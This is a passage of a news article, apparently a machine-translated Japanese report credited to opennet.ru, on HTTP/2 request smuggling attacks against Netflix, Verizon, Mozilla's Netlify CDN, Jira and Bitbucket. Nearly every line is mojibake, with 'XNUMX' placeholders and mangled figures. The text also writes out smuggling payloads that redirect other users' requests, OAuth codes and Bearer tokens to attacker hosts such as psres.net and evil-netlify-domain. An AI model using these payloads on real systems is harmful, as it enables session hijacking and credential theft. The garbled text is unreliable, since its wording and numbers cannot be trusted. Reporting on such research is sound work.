ããã³ããšã³ãã HTTP/2 çµç±ã§æ¥ç¶ãåãå ¥ããHTTP/1.1 çµç±ã§ããã¯ãšã³ãã«éä¿¡ãã Web ã·ã¹ãã ããç¹å¥ã«èšèšãããã¯ã©ã€ã¢ã³ã ãªã¯ãšã¹ããéä¿¡ããããšã«ãã£ãŠãããã³ããšã³ããšããã¯ãšã³ãã®éã®åããããŒã§åŠçãããä»ã®ãŠãŒã¶ãŒããã®ãªã¯ãšã¹ãã®å 容ã«ä»å ¥ããŸãã ãã®æ»æã¯ãæªæã®ãã JavaScript ã³ãŒããæ£èŠã® Web ãµã€ããšã®ã»ãã·ã§ã³ã«æ¿å ¥ããã¢ã¯ã»ã¹å¶éã·ã¹ãã ããã€ãã¹ããèªèšŒãã©ã¡ãŒã¿ãŒãååããããã«äœ¿çšãããå¯èœæ§ããããŸãã
ãã®åé¡ã¯ãWeb ãããã·ãããŒã ãã©ã³ãµãŒãWeb ã¢ã¯ã»ã©ã¬ãŒã¿ãã³ã³ãã³ãé ä¿¡ã·ã¹ãã ãããã³ãªã¯ãšã¹ããããã³ããšã³ãããããã¯ãšã³ãã«ãªãã€ã¬ã¯ãããããã®ä»ã®æ§æã«åœ±é¿ããŸãã ãã®ç 究ã®èè ã¯ãNetflixãVerizonãBitbucketãNetlify CDNãAtlassian ã®ã·ã¹ãã ãæ»æããå¯èœæ§ãå®èšŒããè匱æ§ã®ç¹å®ã«å¯ŸããŠå ±å¥šããã°ã©ã ãšã㊠56 ãã«ãåãåããŸããã ãã®åé¡ã¯F5 Networks補åã§ã確èªãããŠãããŸãã ãã®åé¡ã¯ Apache http ãµãŒããŒã® mod_proxy ã«éšåçã«åœ±é¿ã (CVE-2021-33193)ãããŒãžã§ã³ 2.4.49 ã§ä¿®æ£ãããäºå®ã§ã (éçºè 㯠3 æåæ¬ã«åé¡ã«ã€ããŠéç¥ãããä¿®æ£ã« 1.21.1 ãæã®æéãäžããããŸãã)ã nginx ã§ã¯ããContent-LengthãããããŒãšãTransfer-EncodingãããããŒãåæã«æå®ããæ©èœã¯ãæåŸã®ãªãªãŒã¹ (XNUMX) ã§ãããã¯ãããŸããã æ»æããŒã«ã¯ãã§ã« Burp ããŒã«ãããã«å«ãŸããŠãããTurbo Intruder æ¡åŒµæ©èœã®åœ¢åŒã§å©çšã§ããŸãã
ãªã¯ãšã¹ãããã©ãã£ãã¯ã«å²ã蟌ãæ°ããæ¹æ³ã®åäœåçã¯ã1.1 幎åã«åãç 究è ã«ãã£ãŠç¹å®ãããè匱æ§ãšäŒŒãŠããŸãããHTTP/XNUMX çµç±ã§ãªã¯ãšã¹ããåãå ¥ããããã³ããšã³ãã«éå®ãããŸãã ããã³ããšã³ã - ããã¯ãšã³ã ã¹ããŒã ã§ã¯ãã¯ã©ã€ã¢ã³ãã®ãªã¯ãšã¹ãã¯è¿œå ã®ããŒã (ããã³ããšã³ã) ã«ãã£ãŠåä¿¡ãããããã¯ãšã³ããšã®éã§åç¶æéã®é·ã TCP æ¥ç¶ã確ç«ãããªã¯ãšã¹ããçŽæ¥åŠçããããšãæãåºããŠãã ããã éåžžããã®å ±éã®æ¥ç¶ãéããŠãããŸããŸãªãŠãŒã¶ãŒããã®ãªã¯ãšã¹ããéä¿¡ãããHTTP ãããã³ã«ã«ãã£ãŠåé¢ããããã§ãŒã³ã次ã ãšãã©ãããŸãã
å€å žçãªãHTTP ãªã¯ãšã¹ãå¯èŒžãæ»æã¯ãããã³ããšã³ããšããã¯ãšã³ãã HTTP ããããŒãContent-LengthãïŒãªã¯ãšã¹ãå ã®ããŒã¿ã®åèšãµã€ãºã決å®ããïŒãšãTransfer-Encoding: chunkedãïŒèš±å¯ããïŒã®äœ¿çšã解éãããšããäºå®ã«åºã¥ããŠããŸãããåå²ããŠè»¢éãããããŒã¿ïŒãç°ãªããŸãã ããšãã°ãããã³ããšã³ãããContent-Lengthãã®ã¿ããµããŒããããTransfer-Encoding: chunkedããç¡èŠããå Žåãæ»æè ã¯ãContent-LengthãããããŒãšãTransfer-Encoding: chunkedãããããŒã®äž¡æ¹ãå«ããªã¯ãšã¹ããéä¿¡ããå¯èœæ§ããããŸãããµã€ãºã¯ãContent-Lengthãããã£ã³ã¯åãã§ãŒã³ã®ãµã€ãºãšäžèŽããŸããã ãã®å Žåãããã³ããšã³ãã¯ãContent-Lengthãã«åŸã£ãŠãªã¯ãšã¹ããåŠçããã³ãªãã€ã¬ã¯ãããããã¯ãšã³ãã¯ãTransfer-Encoding: chunkedãã«åºã¥ããŠãããã¯ã®å®äºãåŸ æ©ããæ»æè ã®ãªã¯ãšã¹ãã®æ®ãã®æ«å°Ÿã次ã«éä¿¡ãããä»ã®èª°ãã®ãªã¯ãšã¹ãã®å é ã«ããããšã
è¡ã¬ãã«ã§è§£æãããããã¹ã ãããã³ã« HTTP/1.1 ãšã¯ç°ãªããHTTP/2 ã¯ãã€ã㪠ãããã³ã«ã§ãããäºåã«æå®ããããµã€ãºã®ããŒã¿ââ ãããã¯ãæäœããŸãã ãã ããHTTP/2 ã§ã¯ãéåžžã® HTTP ããããŒã«å¯Ÿå¿ããç䌌ããããŒã䜿çšãããŸãã HTTP/1.1 ãããã³ã«ãä»ããŠããã¯ãšã³ããšå¯Ÿè©±ããå Žåãããã³ããšã³ãã¯ãããã®ç䌌ããããŒãåæ§ã® HTTP ããã㌠HTTP/1.1 ã«å€æããŸãã åé¡ã¯ãããã¯ãšã³ãããå ã®ãªã¯ãšã¹ãã®ãã©ã¡ãŒã¿ãŒã«é¢ããæ å ±ãæããã«ãããã³ããšã³ãã«ãã£ãŠèšå®ããã HTTP ããããŒã«åºã¥ããŠã¹ããªãŒã ã®è§£æã«é¢ãã決å®ãäžãããšã§ãã
ç¹ã«ããcontent-lengthããšãtransfer-encodingãã®å€ã¯ãHTTP/2 ã§ã¯äœ¿çšãããªãã«ããããããããã¹ãŠã®ããŒã¿ã®ãµã€ãºã決å®ããããããç䌌ããããŒã®åœ¢åŒã§éä¿¡ã§ããŸããå¥ã®ãã£ãŒã«ãã§ã ãã ããHTTP/2 ãªã¯ãšã¹ãã HTTP/1.1 ã«å€æããããã»ã¹äžã«ããããã®ããããŒãåŒãç¶ãããããã¯ãšã³ããæ··ä¹±ããå¯èœæ§ããããŸãã æ»æã«ã¯äž»ã« H2.TE ãš H2.CL ã® 2 ã€ã®äºçš®ããããããã³ããšã³ããåä¿¡ãããªã¯ãšã¹ãæ¬æã®å®éã®ãµã€ãºã«å¯Ÿå¿ããªã誀ã£ã転éãšã³ã³ãŒãã£ã³ã°ãŸãã¯ã³ã³ãã³ãé·ã®å€ã«ãã£ãŠããã¯ãšã³ãã誀解ãããŸãã HTTP/XNUMX ãããã³ã«ã
H2.CL æ»æã®äŸãšããŠã¯ãHTTP/2 ãªã¯ãšã¹ãã Netflix ã«éä¿¡ãããšãã«ãã³ã³ãã³ãé·æ¬äŒŒããããŒã«äžæ£ãªãµã€ãºãæå®ããããšãæããããŸãã ãã®ãªã¯ãšã¹ãã«ãããHTTP/1.1 çµç±ã§ããã¯ãšã³ãã«ã¢ã¯ã»ã¹ãããšãã«åæ§ã® HTTP ããã㌠Content-Length ãè¿œå ãããŸãããContent-Length ã®ãµã€ãºãå®éã®ãµã€ãºãããå°ããæå®ãããŠãããããæ«å°Ÿã®ããŒã¿ã®äžéšã次ã®ãªã¯ãšã¹ãã®å§ãŸãã
ããšãã°ããªã¯ãšã¹ã HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
ãªã¯ãšã¹ããããã¯ãšã³ãã«éä¿¡ãããŸã: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Content-Length ã®å€ã 4 ã§ãããããããã¯ãšã³ãã¯ãªã¯ãšã¹ãã®æ¬æãšããŠãabcdãã®ã¿ãåãå ¥ããæ®ãã®ãGET /n HTTP/1.1...ãã¯åŸç¶ã®ãªã¯ãšã¹ãã®éå§ãšããŠåŠçãããŸããå¥ã®ãŠãŒã¶ãŒã«é¢é£ä»ããããŠããŸãã ããã«ãããã¹ããªãŒã ãéåæãšãªãã次ã®ãªã¯ãšã¹ãã«å¯ŸããŠã¯ãããŒãªã¯ãšã¹ãã®åŠççµæãçºè¡ãããããšã«ãªãã Netflix ã®å ŽåããããŒãªã¯ãšã¹ãã®ãHost:ãããããŒã«ãµãŒãããŒãã£ã®ãã¹ããæå®ãããšãã¯ã©ã€ã¢ã³ãã¯ãLocation: https://02.rs?x.netflix.com/nããšããå¿çãè¿ããŸããã Netflix ãµã€ãã®ã³ã³ããã¹ã㧠JavaScript ã³ãŒããå®è¡ãããªã©ãä»»æã®ã³ã³ãã³ããã¯ã©ã€ã¢ã³ãã«éä¿¡ã§ããŸãã
2 çªç®ã®æ»æãªãã·ã§ã³ (H2.TE) ã«ã¯ããTransfer-Encoding: chunkedãããããŒã®çœ®æãå«ãŸããŸãã HTTP/2 ã§ã® transfer-encoding æ¬äŒŒããããŒã®äœ¿çšã¯ä»æ§ã§çŠæ¢ãããŠããããããå«ããªã¯ãšã¹ãã¯äžæ£ãªãã®ãšããŠæ±ãããããšãèŠå®ãããŠããŸãã ããã«ãããããããäžéšã®ããã³ããšã³ãå®è£ ã§ã¯ãã®èŠä»¶ãèæ ®ãããŠããããåæ§ã® HTTP ããããŒã«å€æããã HTTP/0 ã§ã®è»¢éãšã³ã³ãŒãã£ã³ã°ç䌌ããããŒã®äœ¿çšãèš±å¯ãããŠããŸãã ãTransfer-EncodingãããããŒãããå Žåãããã¯ãšã³ãã¯ãããããé«ãåªå é äœãšããŠåãåããã{size}\r\n{blockã圢åŒã®ç°ãªããµã€ãºã®ãããã¯ã䜿çšããŠããã£ã³ã¯ãã¢ãŒãã§ããŒã¿ãéšåããšã«è§£æã§ããŸããæåã«å šäœã®ãµã€ãºã§é€ç®ããã«ããããããã}\r\n{size} \r\n{block}\r\nXNUMX"ã
ãã®ãããªã®ã£ããã®ååšã¯ãVerizon ã®äŸã«ãã£ãŠå®èšŒãããŸããã ãã®åé¡ã¯ãããã£ã³ãã³ ãã¹ãããšã³ã¬ãžã§ãããªã©ã®ãµã€ãã§ã䜿çšãããŠããèªèšŒããŒã¿ã«ãšã³ã³ãã³ã管çã·ã¹ãã ã«é¢ãããã®ã§ããã ããšãã°ãHTTP/2 çµç±ã®ã¯ã©ã€ã¢ã³ã ãªã¯ãšã¹ã: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
çµæãšããŠãHTTP/1.1 ãªã¯ãšã¹ããããã¯ãšã³ãã«éä¿¡ãããŸãã: POST /identity/XUI HTTP/1.1 ãã¹ã: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psresãæ£å³å 容 - é·ã: 10x=
次ã«ãããã¯ãšã³ãã¯ãContent-LengthãããããŒãç¡èŠãããTransfer-Encoding: chunkedãã«åºã¥ããŠã¹ããªãŒã å åå²ãå®è¡ããŸããã å®éã«ã¯ããã®æ»æã«ãããOAuth èªèšŒã«é¢é£ãããªã¯ãšã¹ãã®ååïŒReferer ããããŒã«ãã®ãã©ã¡ãŒã¿ã衚瀺ãããïŒãå«ãããŠãŒã¶ãŒã®ãªã¯ãšã¹ãã Web ãµã€ãã«ãªãã€ã¬ã¯ãããããšãå¯èœã«ãªããŸããããŸããèªèšŒã»ãã·ã§ã³ãã·ãã¥ã¬ãŒããããŠãŒã¶ãŒã®ã·ã¹ãã ã«èªèšŒæ å ±ã®éä¿¡ãããªã¬ãŒããããšãã§ããŸãããæ»æè ã®ãã¹ââãã«éä¿¡ãããŸãã GET /b2blanding/show/oops HTTP/1.1 ãã¹ã: psres.net ãªãã¡ã©ãŒ: https://id.b2b.oath.com/?âŠ&code=secret GET / HTTP/1.1 ãã¹ã: psres.net èªå¯: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6IkâŠ
transfer-encoding æ¬äŒŒããããŒã®æå®ãèš±å¯ããªã HTTP/2 å®è£ ãæ»æããããã«ããTransfer-EncodingãããããŒãæ¹è¡æåã§åºåãããä»ã®æ¬äŒŒããããŒã«ä»å ããŠçœ®ãæããå¥ã®æ¹æ³ãææ¡ãããŠããŸã (ãã®å ŽåãHTTP/1.1 ã«å€æãããšãXNUMX ã€ã®å¥ã ã® HTTP ããããŒãäœæãããŸã)ã
ããšãã°ãAtlassian Jira ãš Netlify CDN (Firefox 㧠Mozilla ã¹ã¿ãŒã ããŒãžãæäŸããããã«äœ¿çš) ã¯ãã®åé¡ã®åœ±é¿ãåããŸããã å ·äœçã«ã¯ãHTTP/2 ãªã¯ãšã¹ã :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=
HTTP/1.1 POST / HTTP/1.1 ãªã¯ãšã¹ããããã¯ãšã³ãã«éä¿¡ãããŸãã\r\n ãã¹ã: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ãã¹ã: evil-netlify-domain\r\n ã³ã³ãã³ãã®é·ã: 5\r\n \r \nx=
ãTransfer-EncodingãããããŒã眮ãæããå¥ã®ãªãã·ã§ã³ã¯ããããå¥ã®ç䌌ããããŒã®ååãŸãã¯ãªã¯ãšã¹ã ã¡ãœããã®è¡ã«æ·»ä»ããããšã§ããã ããšãã°ãAtlassian Jira ã«ã¢ã¯ã»ã¹ããå Žåãæ¬äŒŒããããŒåãfoo: bar\r\ntransfer-encodingããšå€ãchunkedãã«ãããHTTP ããããŒãfoo: barããšãtransfer-encoding: chunkedããè¿œå ãããŸããã ãæ¬äŒŒããããŒã:methodãå€ãGET / HTTP/1.1\r\nTransfer-encoding: chunkedããæå®ãããšããGET / HTTP/1.1\r\ntransfer-encoding: chunkedãã«å€æãããŸããã
ãã®åé¡ãç¹å®ããç 究è
ã¯ãããã³ããšã³ããæ»æããããã®ãªã¯ãšã¹ã ãã³ããªã³ã°æè¡ãææ¡ããŸããããã®æè¡ã§ã¯ãå IP ã¢ãã¬ã¹ãããã¯ãšã³ããžã®åå¥ã®æ¥ç¶ã確ç«ããç°ãªããŠãŒã¶ãŒããã®ãã©ãã£ãã¯ãæ··åšããŸããã ææ¡ãããæè¡ã§ã¯ãä»ã®ãŠãŒã¶ãŒããã®ãªã¯ãšã¹ãã劚害ããããšã¯ã§ããŸããããä»ã®ãªã¯ãšã¹ãã®åŠçã«åœ±é¿ãäžããå
±æãã£ãã·ã¥ãæ±æããããšãå¯èœã«ãªãããµãŒãã¹æ
å ±ãããã³ããšã³ãããããã¯ãšã³ãã«è»¢éããããã«äœ¿çšãããå
éš HTTP ããããŒã®çœ®æãå¯èœã«ãªããŸã (ããšãã°ãããã³ããšã³ãåŽã§èªèšŒããå Žåããã®ãããªããããŒã¯çŸåšã®ãŠãŒã¶ãŒã«é¢ããæ
å ±ãããã¯ãšã³ãã«éä¿¡ã§ããŸã)ã ãã®æ¹æ³ãå®éã«é©çšããäŸãšããŠããã£ãã·ã¥ ãã€ãºãã³ã°ã䜿çšãããšãBitbucket ãµãŒãã¹å
ã®ããŒãžãå¶åŸ¡ããããšãã§ããŸããã
åºæïŒ ãªãŒãã³ããã.ru